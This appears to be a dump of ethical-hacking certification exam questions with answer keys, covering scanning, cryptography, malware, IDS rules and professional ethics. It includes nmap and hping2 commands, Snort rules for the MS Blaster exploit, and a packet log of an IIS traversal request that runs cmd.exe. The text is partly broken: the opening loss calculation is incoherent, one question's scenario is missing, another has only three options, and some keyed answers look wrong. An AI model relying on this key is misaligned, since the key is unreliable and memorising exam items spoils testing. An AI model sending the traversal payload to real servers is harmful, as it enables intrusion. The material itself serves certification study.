The annualized loss expectancy (ALE) is the product of the annual rate of occurrence (ARO) and the single loss expectancy (SLE).

Suppose than an asset is valued at \$100,000, and the Exposure Factor (EF) for this asset is 25%. The single loss expectancy (SLE) then, is 25% \* \$100,000, or \$25,000.

In our example the ARO is 33%, and the SLE is 300+14\*10 (as EF=1). The ALO is thus: 33%\*(300+14\*10) which equals 146.

References: [https://en.wikipedia.org/wiki/Annualized\\_loss\\_expectancy](https://en.wikipedia.org/wiki/Annualized_loss_expectancy)

**NEW QUESTION 461**

- (Exam Topic 5)

What is the difference between the AES and RSA algorithms?

- A. Both are asymmetric algorithms, but RSA uses 1024-bit keys.
- B. RSA is asymmetric, which is used to create a public/private key pair; AES is symmetric, which is used to encrypt data.
- C. Both are symmetric algorithms, but AES uses 256-bit keys.
- D. AES is asymmetric, which is used to create a public/private key pair; RSA is symmetric, which is used to encrypt data.

**Answer: B**

**NEW QUESTION 466**

- (Exam Topic 5)

A large mobile telephony and data network operator has a data that houses network elements. These are essentially large computers running on Linux. The

perimeter of the data center is secured with firewalls and IPS systems. What is the best security policy concerning this setup?

- A. Network elements must be hardened with user ids and strong password
- B. Regular security tests and audits should be performed.
- C. As long as the physical access to the network elements is restricted, there is no need for additional measures.
- D. There is no need for specific security measures on the network elements as long as firewalls and IPS systems exist.
- E. The operator knows that attacks and down time are inevitable and should have a backup site.

**Answer:** A

**NEW QUESTION 469**

- (Exam Topic 5)

Which of the following security operations is used for determining the attack surface of an organization?

- A. Running a network scan to detect network services in the corporate DMZ
- B. Training employees on the security policy regarding social engineering
- C. Reviewing the need for a security clearance for each employee
- D. Using configuration management to determine when and where to apply security patches

**Answer:** A

**Explanation:**

For a network scan the goal is to document the exposed attack surface along with any easily detected vulnerabilities.

References:

<http://meisecurity.com/home/consulting/consulting-network-scanning/>

**NEW QUESTION 471**

- (Exam Topic 5)

Emil uses nmap to scan two hosts using this command. `nmap -sS -T4 -O 192.168.99.1 192.168.99.7`

He receives this output:

```
Nmap scan report for 192.168.99.1
Host is up (0.00082s latency).
Not shown: 994 filtered ports
PORT STATE SERVICE
21/tcp open  ftp
23/tcp open  telnet
53/tcp open  domain
80/tcp open  http
161/tcp closed snmp
MAC Address: B0:75:D5:33:57:74 (ZTE)

Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

Nmap scan report for 192.168.99.7
Host is up (0.000047s latency).
All 1000 scanned ports on 192.168.99.7 are closed
Too many fingerprints match this host to give specific OS details
Network Distance: 0 hops
```

What is his conclusion?

- A. Host 192.168.99.7 is an iPad.
- B. He performed a SYN scan and OS scan on hosts 192.168.99.1 and 192.168.99.7.
- C. Host 192.168.99.1 is the host that he launched the scan from.
- D. Host 192.168.99.7 is down.

**Answer:** B

**NEW QUESTION 475**

- (Exam Topic 5)

You want to do an ICMP scan on a remote computer using hping2. What is the proper syntax?

- A. `hping2 host.domain.com`
- B. `hping2 --set-ICMP host.domain.com`
- C. `hping2 -i host.domain.com`
- D. `hping2 -1 host.domain.com`

**Answer:** D

**NEW QUESTION 480**

- (Exam Topic 5)

\_\_\_\_\_ is a set of extensions to DNS that provide to DNS clients (resolvers) origin authentication of DNS data to reduce the threat of DNS poisoning, spoofing, and similar attacks types.

- A. DNSSEC
- B. Zone transfer
- C. Resource transfer
- D. Resource records

**Answer:** A

#### NEW QUESTION 485

- (Exam Topic 5)

Bob learned that his username and password for a popular game has been compromised. He contacts the company and resets all the information. The company suggests he use two-factor authentication, which option below offers that?

- A. A new username and password
- B. A fingerprint scanner and his username and password.
- C. Disable his username and use just a fingerprint scanner.
- D. His username and a stronger password.

**Answer:** B

#### NEW QUESTION 488

- (Exam Topic 5)

Attempting an injection attack on a web server based on responses to True/False questions is called which of the following?

- A. Blind SQLi
- B. DMS-specific SQLi
- C. Classic SQLi
- D. Compound SQLi

**Answer:** A

#### NEW QUESTION 491

- (Exam Topic 5)

An attacker attaches a rogue router in a network. He wants to redirect traffic to a LAN attached to his router as part of a man-in-the-middle attack. What measure on behalf of the legitimate admin can mitigate this attack?

- A. Only using OSPFv3 will mitigate this risk.
- B. Make sure that legitimate network routers are configured to run routing protocols with authentication.
- C. Redirection of the traffic cannot happen unless the admin allows it explicitly.
- D. Disable all routing protocols and only use static routes.

**Answer:** B

#### NEW QUESTION 493

- (Exam Topic 5)

A company's security policy states that all Web browsers must automatically delete their HTTP browser cookies upon terminating. What sort of security breach is this policy attempting to mitigate?

- A. Attempts by attackers to access Web sites that trust the Web browser user by stealing the user's authentication credentials.
- B. Attempts by attackers to access the user and password information stored in the company's SQL database.
- C. Attempts by attackers to access passwords stored on the user's computer without the user's knowledge.
- D. Attempts by attackers to determine the user's Web browser usage patterns, including when sites were visited and for how long.

**Answer:** A

#### Explanation:

Cookies can store passwords and form content a user has previously entered, such as a credit card number or an address.

Cookies can be stolen using a technique called cross-site scripting. This occurs when an attacker takes advantage of a website that allows its users to post unfiltered HTML and JavaScript content.

References: [https://en.wikipedia.org/wiki/HTTP\\_cookie#Cross-site\\_scripting\\_.E2.80.93\\_cookie\\_theft](https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_scripting_.E2.80.93_cookie_theft)

#### NEW QUESTION 494

- (Exam Topic 5)

Scenario:

What is the name of the attack which is mentioned in the scenario?

- A. HTTP Parameter Pollution
- B. HTML Injection
- C. Session Fixation
- D. ClickJacking Attack

**Answer:** D

#### NEW QUESTION 495

- (Exam Topic 5)

In order to have an anonymous Internet surf, which of the following is best choice?

- A. Use SSL sites when entering personal information

- B. Use Tor network with multi-node
- C. Use shared WiFi
- D. Use public VPN

Answer: B

#### NEW QUESTION 498

- (Exam Topic 5)

What is correct about digital signatures?

- A. A digital signature cannot be moved from one signed document to another because it is the hash of the original document encrypted with the private key of the signing party.
- B. Digital signatures may be used in different documents of the same type.
- C. A digital signature cannot be moved from one signed document to another because it is a plain hash of the document content.
- D. Digital signatures are issued once for each user and can be used everywhere until they expire.

Answer: A

#### NEW QUESTION 500

- (Exam Topic 5)

Which of the following Nmap commands will produce the following output? Output:

```
Starting Nmap 6.47 (http://nmap.org ) at 2015-05-26 12:50 EDT
Nmap scan report for 192.168.1.1
Host is up (0.00042s latency).
Not shown: 65530 open|filtered ports, 65529 filtered ports
PORT STATE SERVICE
111/tcp open  rpcbind
999/tcp open  garcon
1017/tcp open unknown
1021/tcp open  expl
1023/tcp open  netvenuechat
2049/tcp open  nfs
17501/tcp open unknown
111/udp open  rpcbind
123/udp open  ntp
137/udp open  netbios-ns
2049/udp open  nfs
5353/udp open  zeroconf
17501/udp open|filtered unknown
51857/udp open|filtered unknown
54358/udp open|filtered unknown
56228/udp open|filtered unknown
57598/udp open|filtered unknown
59488/udp open|filtered unknown
60027/udp open|filtered unknown
```

- A. nmap -sN -Ps -T4 192.168.1.1
- B. nmap -sT -sX -Pn -p 1-65535 192.168.1.1
- C. nmap -sS -Pn 192.168.1.1
- D. nmap -sS -sU -Pn -p 1-65535 192.168.1.1

Answer: D

#### NEW QUESTION 502

- (Exam Topic 5)

Todd has been asked by the security officer to purchase a counter-based authentication system. Which of the following best describes this type of system?

- A. A biometric system that bases authentication decisions on behavioral attributes.
- B. A biometric system that bases authentication decisions on physical attributes.
- C. An authentication system that creates one-time passwords that are encrypted with secret keys.
- D. An authentication system that uses passphrases that are converted into virtual passwords.

Answer: C

#### NEW QUESTION 503

- (Exam Topic 5)

The "white box testing" methodology enforces what kind of restriction?

- A. The internal operation of a system is completely known to the tester.
- B. Only the external operation of a system is accessible to the tester.

- C. Only the internal operation of a system is known to the tester.
- D. The internal operation of a system is only partly accessible to the tester.

**Answer:** A

**Explanation:**

White-box testing (also known as clear box testing, glass box testing, transparent box testing, and structural testing) is a method of testing software that tests internal structures or workings of an application, as opposed to its functionality (i.e. black-box testing). In white-box testing an internal perspective of the system, as well as programming skills, are used to design test cases.

References: [https://en.wikipedia.org/wiki/White-box\\_testing](https://en.wikipedia.org/wiki/White-box_testing)

**NEW QUESTION 506**

- (Exam Topic 5)

Which of the following tools performs comprehensive tests against web servers, including dangerous files and CGIs?

- A. Nikto
- B. Snort
- C. John the Ripper
- D. Dsniff

**Answer:** A

**Explanation:**

Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6700 potentially dangerous files/CGIs, checks for outdated versions of over 1250 servers, and version specific problems on over 270 servers. It also checks for server configuration items such as the presence of multiple index files, HTTP server options, and will attempt to identify installed web servers and software. Scan items and plugins are frequently updated and can be automatically updated.

References: [https://en.wikipedia.org/wiki/Nikto\\_Web\\_Scanner](https://en.wikipedia.org/wiki/Nikto_Web_Scanner)

**NEW QUESTION 510**

- (Exam Topic 5)

An Internet Service Provider (ISP) has a need to authenticate users connecting using analog modems, Digital Subscriber Lines (DSL), wireless data services, and Virtual Private Networks (VPN) over a Frame Relay network.

Which AAA protocol is most likely able to handle this requirement?

- A. RADIUS
- B. DIAMETER
- C. Kerberos
- D. TACACS+

**Answer:** A

**Explanation:**

Because of the broad support and the ubiquitous nature of the RADIUS protocol, it is often used by ISPs and enterprises to manage access to the Internet or internal networks, wireless networks, and integrated e-mail services. These networks may incorporate modems, DSL, access points, VPNs, network ports, web servers, etc.

References: <https://en.wikipedia.org/wiki/RADIUS>

**NEW QUESTION 515**

- (Exam Topic 5)

A well-intentioned researcher discovers a vulnerability on the web site of a major corporation. What should he do?

- A. Ignore it.
- B. Try to sell the information to a well-paying party on the dark web.
- C. Notify the web site owner so that corrective action be taken as soon as possible to patch the vulnerability.
- D. Exploit the vulnerability without harming the web site owner so that attention be drawn to the problem.

**Answer:** C

**NEW QUESTION 519**

- (Exam Topic 5)

Jimmy is standing outside a secure entrance to a facility. He is pretending to have a tense conversation on his cell phone as an authorized employee badges in. Jimmy, while still on the phone, grabs the door as it begins to close.

What just happened?

- A. Phishing
- B. Whaling
- C. Tailgating
- D. Masquerading

**Answer:** C

**NEW QUESTION 520**

- (Exam Topic 5)

Which of these is capable of searching for and locating rogue access points?

- A. HIDS
- B. WISS

- C. WIPS
- D. NIDS

**Answer:** C

#### NEW QUESTION 523

- (Exam Topic 5)

Ricardo wants to send secret messages to a competitor company. To secure these messages, he uses a technique of hiding a secret message within an ordinary message. The technique provides 'security through obscurity'.

What technique is Ricardo using?

- A. Steganography
- B. Public-key cryptography
- C. RSA algorithm
- D. Encryption

**Answer:** A

#### Explanation:

Steganography is the practice of concealing a file, message, image, or video within another file, message, image, or video.

References: <https://en.wikipedia.org/wiki/Steganography>

#### NEW QUESTION 528

- (Exam Topic 5)

The security concept of "separation of duties" is most similar to the operation of which type of security device?

- A. Firewall
- B. Bastion host
- C. Intrusion Detection System
- D. Honeypot

**Answer:** A

#### Explanation:

In most enterprises the engineer making a firewall change is also the one reviewing the firewall metrics for unauthorized changes. What if the firewall administrator wanted to hide something? How would anyone ever find out? This is where the separation of duties comes in to focus on the responsibilities of tasks within security.

References:

<http://searchsecurity.techtarget.com/tip/Modern-security-management-strategy-requires-security-separation-of-d>

#### NEW QUESTION 530

- (Exam Topic 5)

An Intrusion Detection System (IDS) has alerted the network administrator to a possibly malicious sequence of packets sent to a Web server in the network's external DMZ. The packet traffic was captured by the IDS and saved to a PCAP file.

What type of network tool can be used to determine if these packets are genuinely malicious or simply a false positive?

- A. Protocol analyzer
- B. Intrusion Prevention System (IPS)
- C. Network sniffer
- D. Vulnerability scanner

**Answer:** A

#### Explanation:

A packet analyzer (also known as a network analyzer, protocol analyzer or packet sniffer—or, for particular types of networks, an Ethernet sniffer or wireless sniffer) is a computer program or piece of computer hardware that can intercept and log traffic that passes over a digital network or part of a network. A packet analyzer can analyze packet traffic saved in a PCAP file.

References: [https://en.wikipedia.org/wiki/Packet\\_analyzer](https://en.wikipedia.org/wiki/Packet_analyzer)

#### NEW QUESTION 532

- (Exam Topic 5)

A hacker has managed to gain access to a Linux host and stolen the password file from /etc/passwd. How can he use it?

- A. The password file does not contain the passwords themselves.
- B. He can open it and read the user ids and corresponding passwords.
- C. The file reveals the passwords to the root user only.
- D. He cannot read it because it is encrypted.

**Answer:** A

#### NEW QUESTION 535

- (Exam Topic 5)

What is not a PCI compliance recommendation?

- A. Limit access to card holder data to as few individuals as possible.
- B. Use encryption to protect all transmission of card holder data over any public network.
- C. Rotate employees handling credit card transactions on a yearly basis to different departments.
- D. Use a firewall between the public network and the payment card data.

**Answer: C**

**NEW QUESTION 540**

- (Exam Topic 6)

Why would an attacker want to perform a scan on port 137?

- A. To discover proxy servers on a network
- B. To disrupt the NetBIOS SMB service on the target host
- C. To check for file and print sharing on Windows systems
- D. To discover information about a target host using NBTSTAT

**Answer: D**

**NEW QUESTION 541**

- (Exam Topic 6)

While you were gathering information as part of security assessments for one of your clients, you were able to gather data that show your client is involved with fraudulent activities. What should you do?

- A. Immediately stop work and contact the proper legal authorities
- B. Ignore the data and continue the assessment until completed as agreed
- C. Confront the client in a respectful manner and ask her about the data
- D. Copy the data to removable media and keep it in case you need it

**Answer: A**

**NEW QUESTION 546**

- (Exam Topic 6)

In IPv6 what is the major difference concerning application layer vulnerabilities compared to IPv4?

- A. Implementing IPv4 security in a dual-stack network offers protection from IPv6 attacks too.
- B. Vulnerabilities in the application layer are independent of the network layer
- C. Attacks and mitigation techniques are almost identical.
- D. Due to the extensive security measures built in IPv6, application layer vulnerabilities need not be addresses.
- E. Vulnerabilities in the application layer are greatly different from IPv4.

**Answer: B**

**NEW QUESTION 549**

- (Exam Topic 6)

Matthew received an email with an attachment named "YouWon\$10Grand.zip." The zip file contains a file named "HowToClaimYourPrize.docx.exe." Out of excitement and curiosity, Matthew opened the said file. Without his knowledge, the file copies itself to Matthew's APPDATA\local directory and begins to beacon to a Command-and-control server to download additional malicious binaries. What type of malware has Matthew encountered?

- A. Key-logger
- B. Trojan
- C. Worm
- D. Macro Virus

**Answer: B**

**NEW QUESTION 554**

- (Exam Topic 6)

Neil notices that a single address is generating traffic from its port 500 to port 500 of several other machines on the network. This scan is eating up most of the network bandwidth and Neil is concerned. As a security professional, what would you infer from this scan?

- A. It is a network fault and the originating machine is in a network loop
- B. It is a worm that is malfunctioning or hardcoded to scan on port 500
- C. The attacker is trying to detect machines on the network which have SSL enabled
- D. The attacker is trying to determine the type of VPN implementation and checking for IPSec

**Answer: D**

**NEW QUESTION 557**

- (Exam Topic 6)

When security and confidentiality of data within the same LAN is of utmost priority, which IPSec mode should you implement?

- A. AH Tunnel mode
- B. AH promiscuous
- C. ESP transport mode
- D. ESP confidential

**Answer: C**

**NEW QUESTION 558**

- (Exam Topic 6)

In an internal security audit, the white hat hacker gains control over a user account and attempts to acquire access to another account's confidential files and information. How can he achieve this?

- A. Port Scanning
- B. Hacking Active Directory
- C. Privilege Escalation
- D. Shoulder-Surfing

**Answer: C**

#### NEW QUESTION 560

- (Exam Topic 6)

Which of the following BEST describes the mechanism of a Boot Sector Virus?

- A. Moves the MBR to another location on the hard disk and copies itself to the original location of the MBR
- B. Moves the MBR to another location on the RAM and copies itself to the original location of the MBR
- C. Overwrites the original MBR and only executes the new virus code
- D. Modifies directory table entries so that directory entries point to the virus code instead of the actual program

**Answer: A**

#### NEW QUESTION 565

- (Exam Topic 6)

A hacker was able to easily gain access to a website. He was able to log in via the frontend user login form of the website using default or commonly used credentials. This exploitation is an example of what Software design flaw?

- A. Insufficient security management
- B. Insufficient database hardening
- C. Insufficient input validation
- D. Insufficient exception handling

**Answer: B**

#### NEW QUESTION 568

- (Exam Topic 6)

.....is an attack type for a rogue Wi-Fi access point that appears to be a legitimate one offered on the premises, but actually has been set up to eavesdrop on wireless communications. It is the wireless version of the phishing scam. An attacker fools wireless users into connecting a laptop or mobile phone to a tainted hotspot by posing as a legitimate provider. This type of attack may be used to steal the passwords of unsuspecting users by either snooping the communication link or by phishing, which involves setting up a fraudulent web site and luring people there.

Fill in the blank with appropriate choice.

- A. Collision Attack
- B. Evil Twin Attack
- C. Sinkhole Attack
- D. Signal Jamming Attack

**Answer: B**

#### NEW QUESTION 569

- (Exam Topic 6)

Which of the following commands runs snort in packet logger mode?

- A. `./snort -dev -h ./log`
- B. `./snort -dev -l ./log`
- C. `./snort -dev -o ./log`
- D. `./snort -dev -p ./log`

**Answer: B**

#### NEW QUESTION 572

- (Exam Topic 6)

SNMP is a protocol used to query hosts, servers, and devices about performance or health status data. This protocol has long been used by hackers to gather great amount of information about remote hosts. Which of the following features makes this possible? (Choose two.)

- A. It used TCP as the underlying protocol.
- B. It uses community string that is transmitted in clear text.
- C. It is susceptible to sniffing.
- D. It is used by all network devices on the market.

**Answer: BD**

#### NEW QUESTION 576

- (Exam Topic 6)

In which phase of the ethical hacking process can Google hacking be employed? This is a technique that involves manipulating a search string with specific operators to search for vulnerabilities.

Example:

`allintitle: root passwd`

- A. Maintaining Access
- B. Gaining Access
- C. Reconnaissance
- D. Scanning and Enumeration

**Answer: C**

**NEW QUESTION 579**

- (Exam Topic 6)

The practical realities facing organizations today make risk response strategies essential. Which of the following is NOT one of the five basic responses to risk?

- A. Accept
- B. Mitigate
- C. Delegate
- D. Avoid

**Answer: C**

**NEW QUESTION 580**

- (Exam Topic 6)

Which of the following will perform an Xmas scan using NMAP?

- A. nmap -sA 192.168.1.254
- B. nmap -sP 192.168.1.254
- C. nmap -sX 192.168.1.254
- D. nmap -sV 192.168.1.254

**Answer: C**

**NEW QUESTION 582**

- (Exam Topic 6)

While doing a technical assessment to determine network vulnerabilities, you used the TCP XMAS scan. What would be the response of all open ports?

- A. The port will send an ACK
- B. The port will send a SYN
- C. The port will ignore the packets
- D. The port will send an RST

**Answer: C**

**NEW QUESTION 585**

- (Exam Topic 6)

Which among the following is a Windows command that a hacker can use to list all the shares to which the current user context has access?

- A. NET FILE
- B. NET USE
- C. NET CONFIG
- D. NET VIEW

**Answer: B**

**NEW QUESTION 586**

- (Exam Topic 6)

Backing up data is a security must. However, it also has certain level of risks when mishandled. Which of the following is the greatest threat posed by backups?

- A. A backup is the source of Malware or illicit information
- B. A backup is incomplete because no verification was performed
- C. A backup is unavailable during disaster recovery
- D. An unencrypted backup can be misplaced or stolen

**Answer: D**

**NEW QUESTION 590**

- (Exam Topic 6)

A software tester is randomly generating invalid inputs in an attempt to crash the program. Which of the following is a software testing technique used to determine if a software program properly handles a wide range of invalid input?

- A. Mutating
- B. Randomizing
- C. Fuzzing
- D. Bounding

**Answer: C**

**NEW QUESTION 591**

- (Exam Topic 6)

Sandra has been actively scanning the client network on which she is doing a vulnerability assessment test. While conducting a port scan she notices open ports in the range of 135 to 139.

What protocol is most likely to be listening on those ports?

- A. Finger
- B. FTP
- C. Samba
- D. SMB

**Answer: D**

#### **NEW QUESTION 593**

- (Exam Topic 6)

Which of the following is a restriction being enforced in "white box testing?"

- A. Only the internal operation of a system is known to the tester
- B. The internal operation of a system is completely known to the tester
- C. The internal operation of a system is only partly accessible to the tester
- D. Only the external operation of a system is accessible to the tester

**Answer: B**

#### **NEW QUESTION 595**

- (Exam Topic 6)

XOR is a common cryptographic tool. 10110001 XOR 00111010 is?

- A. 10111100
- B. 11011000
- C. 10011101
- D. 10001011

**Answer: D**

#### **NEW QUESTION 598**

- (Exam Topic 6)

You are about to be hired by a well-known Bank to perform penetration tests. Which of the following documents describes the specifics of the testing, the associated violations, and essentially protects both the bank's interest and your liabilities as a tester?

- A. Service Level Agreement
- B. Non-Disclosure Agreement
- C. Terms of Engagement
- D. Project Scope

**Answer: C**

#### **NEW QUESTION 600**

- (Exam Topic 6)

What tool and process are you going to use in order to remain undetected by an IDS while pivoting and passing traffic over a server you've compromised and gained root access to?

- A. Install Cryptcat and encrypt outgoing packets from this server.
- B. Use HTTP so that all traffic can be routed via a browser, thus evading the internal Intrusion Detection Systems.
- C. Use Alternate Data Streams to hide the outgoing packets from this server.

**Answer: B**

#### **NEW QUESTION 605**

- (Exam Topic 6)

Defining rules, collaborating human workforce, creating a backup plan, and testing the plans are within what phase of the Incident Handling Process?

- A. Preparation phase
- B. Containment phase
- C. Recovery phase
- D. Identification phase

**Answer: A**

#### **NEW QUESTION 609**

- (Exam Topic 6)

Which of the following is the BEST approach to prevent Cross-site Scripting (XSS) flaws?

- A. Use digital certificates to authenticate a server prior to sending data.
- B. Verify access right before allowing access to protected information and UI controls.
- C. Verify access right before allowing access to protected information and UI controls.
- D. Validate and escape all information sent to a server.

**Answer:** D

**NEW QUESTION 614**

- (Exam Topic 6)

There are several ways to gain insight on how a cryptosystem works with the goal of reverse engineering the process. A term describes when two pieces of data result in the same value is?

- A. Collision
- B. Collusion
- C. Polymorphism
- D. Escrow

**Answer:** A

**NEW QUESTION 618**

- (Exam Topic 6)

Which of the following is designed to verify and authenticate individuals taking part in a data exchange within an enterprise?

- A. SOA
- B. Single-Sign On
- C. PKI
- D. Biometrics

**Answer:** C

**NEW QUESTION 623**

- (Exam Topic 6)

Which type of Nmap scan is the most reliable, but also the most visible, and likely to be picked up by an IDS?

- A. SYN scan
- B. ACK scan
- C. RST scan
- D. Connect scan
- E. FIN scan

**Answer:** D

**NEW QUESTION 625**

- (Exam Topic 6)

Your next door neighbor, that you do not get along with, is having issues with their network, so he yells to his spouse the network's SSID and password and you hear them both clearly. What do you do with this information?

- A. Nothing, but suggest to him to change the network's SSID and password.
- B. Sell his SSID and password to friends that come to your house, so it doesn't slow down your network.
- C. Log onto to his network, after all it's his fault that you can get in.
- D. Only use his network when you have large downloads so you don't tax your own network.

**Answer:** A

**NEW QUESTION 628**

- (Exam Topic 6)

A recent security audit revealed that there were indeed several occasions that the company's network was breached. After investigating, you discover that your IDS is not configured properly and therefore is unable to trigger alarms when needed. What type of alert is the IDS giving?

- A. True Positive
- B. False Negative
- C. False Positive
- D. False Positive

**Answer:** B

**NEW QUESTION 632**

- (Exam Topic 6)

Which of the following is a vulnerability in GNU's bash shell (discovered in September of 2014) that gives attackers access to run remote commands on a vulnerable system?

- A. Shellshock
- B. Rootshell
- C. Rootshock
- D. Shellbash

**Answer:** A

**NEW QUESTION 633**

- (Exam Topic 6)

A big company, who wanted to test their security infrastructure, wants to hire elite pen testers like you. During the interview, they asked you to show sample reports from previous penetration tests. What should you do?

- A. Share reports, after NDA is signed
- B. Share full reports, not redacted
- C. Decline but, provide references
- D. Share full reports with redactions

**Answer: C**

#### **NEW QUESTION 635**

- (Exam Topic 6)

You've just discovered a server that is currently active within the same network with the machine you recently compromised. You ping it but it did not respond. What could be the case?

- A. TCP/IP doesn't support ICMP
- B. ARP is disabled on the target server
- C. ICMP could be disabled on the target server
- D. You need to run the ping command with root privileges

**Answer: C**

#### **NEW QUESTION 636**

- (Exam Topic 6)

Which of the following is an NMAP script that could help detect HTTP Methods such as GET, POST, HEAD, PUT, DELETE, TRACE?

- A. http-git
- B. http-headers
- C. http\_enum
- D. http-methods

**Answer: D**

#### **NEW QUESTION 638**

- (Exam Topic 6)

What kind of risk will remain even if all theoretically possible safety measures would be applied?

- A. Residual risk
- B. Inherent risk
- C. Impact risk
- D. Deferred risk

**Answer: A**

#### **NEW QUESTION 639**

- (Exam Topic 6)

While doing a Black box pen test via the TCP port (80), you noticed that the traffic gets blocked when you tried to pass IRC traffic from a web enabled host. However, you also noticed that outbound HTTP traffic is being allowed. What type of firewall is being utilized for the outbound traffic?

- A. Stateful
- B. Application
- C. Circuit
- D. Packet Filtering

**Answer: B**

#### **NEW QUESTION 641**

- (Exam Topic 7)

Every company needs a formal written document which spells out to employees precisely what they are allowed to use the company's systems for, what is prohibited, and what will happen to them if they break the rules. Two printed copies of the policy should be given to every employee as soon as possible after they join the organization. The employee should be asked to sign one copy, which should be safely filed by the company. No one should be allowed to use the company's computer systems until they have signed the policy in acceptance of its terms.

What is this document called?

- A. Information Audit Policy (IAP)
- B. Information Security Policy (ISP)
- C. Penetration Testing Policy (PTP)
- D. Company Compliance Policy (CCP)

**Answer: B**

#### **NEW QUESTION 643**

- (Exam Topic 7)

When discussing passwords, what is considered a brute force attack?

- A. You attempt every single possibility until you exhaust all possible combinations or discover the password
- B. You threaten to use the rubber hose on someone unless they reveal their password

- C. You load a dictionary of words into your cracking program
- D. You create hashes of a large number of words and compare it with the encrypted passwords
- E. You wait until the password expires

**Answer:** A

**NEW QUESTION 648**

- (Exam Topic 7)

This kind of password cracking method uses word lists in combination with numbers and special characters:

- A. Hybrid
- B. Linear
- C. Symmetric
- D. Brute Force

**Answer:** A

**NEW QUESTION 650**

- (Exam Topic 7)

Study the snort rule given below:

```

alert tcp $EXTERNAL_NET any -> $HOME_NET 135
(msg: "NETBIOS DCERPC ISystemActivator bind attempt";
flow:to_server, established; content: "|05|"; distance: 0; within: 1;
content: "|ob|"; distance: 1; within: 1; byte_test: 1, &, 1, 0, relative;
content: "|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00 46|";
distance: 29; within: 16; reference: cve, CAN-2003-0352;
classtype: attempted-admin; sid: 2192; rev: 1;)

alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg: "NETBIOS SMB
DCERPC ISystemActivator bind attempt"; flow: to_server, established;
content: "|FF|SMB|25|"; nocase; offset:4, depth:5; content: "|26 00|";
nocase; distance:5; within: 12; content: "|05|"; distance:0; within:1;
content: "|ob|"; distance: 1; within: 1; byte_test: 1, &, 1, 0, relative;
content: "|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00 46|";
distance: 29; within: 16; reference: cve, CAN-2003-0352;
classtype: attempted-admin; sid: 2193; rev: 1;)

```

From the options below, choose the exploit against which this rule applies.

- A. WebDav
- B. SQL Slammer
- C. MS Blaster
- D. MyDoom

**Answer:** C

**NEW QUESTION 652**

- (Exam Topic 7)

In the context of Windows Security, what is a 'null' user?

- A. A user that has no skills
- B. An account that has been suspended by the admin
- C. A pseudo account that has no username and password
- D. A pseudo account that was created for security administration purpose

**Answer:** C

**NEW QUESTION 657**

- (Exam Topic 7)

An LDAP directory can be used to store information similar to a SQL database. LDAP uses a database structure instead of SQL's structure. Because of this, LDAP has difficulty representing many-to-one relationships.

- A. Relational, Hierarchical
- B. Strict, Abstract
- C. Hierarchical, Relational
- D. Simple, Complex

**Answer:** C

**NEW QUESTION 661**

- (Exam Topic 7)

Which utility will tell you in real time which ports are listening or in another state?

- A. Netstat
- B. TCPView

- C. Nmap
- D. Loki

**Answer:** B

**NEW QUESTION 663**

- (Exam Topic 7)

If a token and 4-digit personal identification number (PIN) are used to access a computer system and the token performs off-line checking for the correct PIN, what type of attack is possible?

- A. Birthday
- B. Brute force
- C. Man-in-the-middle
- D. Smurf

**Answer:** B

**NEW QUESTION 668**

- (Exam Topic 7)

What is the purpose of DNS AAAA record?

- A. Authorization, Authentication and Auditing record
- B. Address prefix record
- C. Address database record
- D. IPv6 address resolution record

**Answer:** D

**NEW QUESTION 669**

- (Exam Topic 7)

Fingerprinting an Operating System helps a cracker because:

- A. It defines exactly what software you have installed
- B. It opens a security-delayed window based on the port being scanned
- C. It doesn't depend on the patches that have been applied to fix existing security holes
- D. It informs the cracker of which vulnerabilities he may be able to exploit on your system

**Answer:** D

**NEW QUESTION 672**

- (Exam Topic 7)

Which of the following LM hashes represent a password of less than 8 characters? (Choose two.)

- A. BA810DBA98995F1817306D272A9441BB
- B. 44EFCE164AB921CQAAD3B435B51404EE
- C. 0182BD0BD4444BF836077A718CCDF409
- D. CEC52EB9C8E3455DC2265B23734E0DAC
- E. B757BF5C0D87772FAAD3B435B51404EE
- F. E52CAC67419A9A224A3B108F3FA6CB6D

**Answer:** BE

**NEW QUESTION 675**

- (Exam Topic 7)

Bob is acknowledged as a hacker of repute and is popular among visitors of "underground" sites.

Bob is willing to share his knowledge with those who are willing to learn, and many have expressed their interest in learning from him. However, this knowledge has a risk associated with it, as it can be used for malevolent attacks as well.

In this context, what would be the most effective method to bridge the knowledge gap between the "black" hats or crackers and the "white" hats or computer security professionals? (Choose the best answer.)

- A. Educate everyone with books, articles and training on risk analysis, vulnerabilities and safeguards.
- B. Hire more computer security monitoring personnel to monitor computer systems and networks.
- C. Make obtaining either a computer security certification or accreditation easier to achieve so more individuals feel that they are a part of something larger than life.
- D. Train more National Guard and reservist in the art of computer security to help out in times of emergency or crises.

**Answer:** A

**NEW QUESTION 677**

- (Exam Topic 7)

What hacking attack is challenge/response authentication used to prevent?

- A. Replay attacks
- B. Scanning attacks
- C. Session hijacking attacks
- D. Password cracking attacks

Answer: A

**NEW QUESTION 681**

- (Exam Topic 7)

Study the following log extract and identify the attack.

```
12/26-07:06:22:31.167035 207.219.207.240:1882 -> 172.16.1.106:80
TCP TTL:13 TTL:50 TOS:0x0 IP:53476 DFF
***AP*** Seq: 0x2BDC107 Ack: 0x1CB9F186 Win: 0x2238 TcpLen: 20
47 45 54 2D 2F 6D 73 61 64 63 2F 2E 2E CO AF 2E GET /msadc/.....
2E 2F 2E 2E CO AF 2E 2E 2F 2E 2E CO AF 2E 2E 2F ./...../...../
77 69 6E 6E 74 2F 73 79 73 74 65 6D 33 32 2F 63 winnt/system32/c
6D 64 2E 65 78 65 3F 2F 63 2B 64 69 72 2B 63 3A md.exe?/c+dir+c:
5C 20 48 54 54 50 2F 31 2E 31 OD OA 41 63 63 65 \ HTTP/1.1..Acce
70 74 3A 2D 69 6D 61 67 65 2F 67 69 66 2C 20 69 pt: image/gif, i
6D 61 67 65 2F 78 2D 78 62 69 74 6D 61 70 2C 20 mage/x-xbitmap
69 6D 61 67 65 2F 6A 70 65 67 2C 20 69 6D 61 67 image/jpeg, imag
65 2F 70 6A 70 65 67 2C 20 61 70 70 6C 69 63 61 e/jpeg, applica
74 69 6F 6E 2F 76 6E 64 2E 6D 73 2D 65 78 63 65 tion/vnd.ms-exce
